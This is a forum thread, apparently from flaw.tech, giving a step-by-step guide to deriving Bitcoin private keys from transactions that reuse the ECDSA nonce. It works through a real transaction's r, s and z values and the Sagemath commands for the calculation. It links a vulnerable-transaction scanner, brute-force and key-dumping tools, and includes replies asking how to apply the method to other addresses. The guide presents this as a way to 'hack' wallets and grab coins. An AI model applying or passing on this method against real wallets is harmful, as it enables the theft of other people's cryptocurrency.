Hello! It takes a minute to create a free account.
When you create an account we will be able to remember exactly what you have read so you can pick up where you left off. You will receive notifications here or by email when someone replies to you. You can also reply to or vote on topics to show your appreciation.Get Started Already have an account?
How I Hacked a Bitcoin Wallet: Complete Guide
This is an old vulnerability but still is around. Not many bitcoin companies/wallets will re-use values these days when signing transactions, but people who are creating new copies of old coins and wallets generally don’t know about this vulnerability. While researching this, I discovered that a lot of Russian bitcoin hackers have coded bots to automatically grab coins from vulnerable addresses of this type and others as mentioned at the beginning of this tutorial.
Edit (07/01/2020): It seems 2coin.org has been down for quite a long time and no one seemed to have informed me. We have Sean Bradley (the original owner of 2coin.org) to thank for managing to create another version of the same website. Head over to https://2xoin.com/getRSZfromRawTX/ to find the values.
Edit (03/12/2020): Please make sure to read Cryptocurrency: Frequently Asked Questions if your soul purpose of visit here is to recover bitcoin or anything in that matter.
Edit (26/12/2020): I don't have an infinite amount of time but I will try my best to help when I am free to do so. If you need my help, register, reply to this thread or make a new thread. I will make sure to reply as soon as possible.
Edit (23/12/2020): I have created a Web Socket listener for bitcoin transactions to test this vulnerability. Here is the link: https://avalerionv.github.io. You only need to navigate to the website and keep it running in the browser. If the script finds any vulnerable transaction, it will be displayed on the page. Although I had no luck with scanning 1,000,000 new transactions, you may try it to test your luck. Source: https://github.com/AvalerionV/avalerionv.github.io
Edit (11/11/2020): For those interested in studying this vulnerability here is a more complete proof-of-concept version of the same method in Python: https://github.com/daedalus/bitcoin-recover-privkey/blob/master/ProofOfConcept.py
Here are some ways that a bitcoin address or wallet may be vulnerable:
- A private key is created with a common password such as “123456”.
- A simple copy/paste mistake. A transaction is created with non-standard outputs.
- A random number generator was used wrong or produced the same output.
- The private key was posted publicly.
We are going to be talking about a transaction with a broken random number generator (string). These addresses re-use certain values in a transaction due to poor knowledge, programming errors, or a broken random number generator.
Take a look at this transaction: https://blockchain.info/tx/9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1
There are two inputs and one output in this script. This is alright. Inputs are pointers to outputs of previous transactions. Outputs are, at the basic, an amount and an address.
Taking a closer look at the inputs of these scripts we notice that they are similar.
ScriptSig: PUSHDATA(71)[30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e01] PUSHDATA(65)[04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff]
ScriptSig: PUSHDATA(71)[30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab01] PUSHDATA(65)[04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff]
The beginning of the scripts contain the signatures (defined as ‘r’ and ‘s’). The end of the script is the hex public key. So we have:
r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1 r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1 s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab
It turns out that the r values in the scripts are exactly the same. This means we can derive the private key.
Now for some math equations:
Bitcoin Private Key = (z1*s2 - z2*s1)/(r*(s1-s2))
We have the r and s values, now we need to find the z1 and z2 values.
Go here: https://2coin.org/
Enter in our transaction ID: 9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1
Scroll down to find the z values.
z1 = c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e z2 = 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc
Bitcoin uses an elliptical curve for generating public keys. The order of the curve is secp256k1.
p = parameter for the secp256k1 curve. So p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
We will need to create a finite field for the calculation.
K = GF(p)
Now that we have all the information we need, we can run our calculations.
We’ll use Sagemath: http://www.sagemath.org/
I will be using the cloud version. Make sure you input all of our equations:
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 r = 0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1 s1 = 0x44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e s2 = 0x9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab z1 = 0xc0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e z2 = 0x17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc K = GF(p) K((z1*s2 - z2*s1)/(r*(s1-s2)))
The calculation outputs:
Now we will convert it from decimal to hex. You can do so here: https://www.rapidtables.com/convert/number/decimal-to-hex.html
Our private key in hex is:
You can use our official tool (Project Xerotic) to convert private key in hex to WIF (wallet import format): https://flaw.tech/topic/3/project-xerotic-v0-0-3-beta-0-bitcoin-dumper-utility
Our private key in WIF is:
Hope this tutorial sparks some interest in people!
i guess this link is no longer working https://2xoin.com/getRSZfromRawTX/
i tried even with the transaction id posted it returned Null
You will need to paste the raw transaction as the input, not the transaction ID itself.
You can get the raw transaction by using the bitcoin-cli. For example:
If you don't have Bitcoin client installed, you can use this website: https://chainquery.com/bitcoin-cli/getrawtransaction
When you have the RAW transaction then use https://2xoin.com/getRSZfromRawTX/ to get
I hope this answers your question.
yeah it answered
Hilda Penny last edited by
@Avalerion Great tutorial, I have a question though.
What about a situation where you only get the following:
What formula do you use to run the calculation in place of this (K((z1s2 - z2s1)/(r*(s1-s2))))?
@hilda-penny When that happens, you move on and try another transaction ID.
Caleb Manske last edited by
I am trying to get back stolen bitcoin from fraud investors. Can I ask for your help and assistance?
I place the transaction ID into https://2xoin.com/tx/ but I do not see any r, s, or z values as in older transactions.
@caleb-manske Please read this topic: https://flaw.tech/topic/5/cryptocurrency-frequently-asked-questions/
monsterdefiner last edited by
"The beginning of the scripts contain the signatures (defined as ‘r’ and ‘s’). " Where is the begining of the scripts? How can I find?
Assuming you don't have the transaction id but the public address 1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm. How do you get this transaction id "9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1" FROM THE PUBLIC ADDRESS
@spartley You can just search online..?
How do you search, where? cos inputting the public address will give you different transaction hash ids different from the above stated
@Avalerion still cannot find this transaction id hash 9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1 using the above address. My question again is, "through what means can you locate/get directly the transaction id hash of a given bitcoin address"
@spartley There are thousand of resources available on the internet that will teach you the basics of Blockchain and how transactions work. I don't think I need to explain it here.
monsterdefiner last edited by
free airdrop daly last edited by
Hi https://github.com/AvalerionV/bitcoin-bruteforce not working any new tric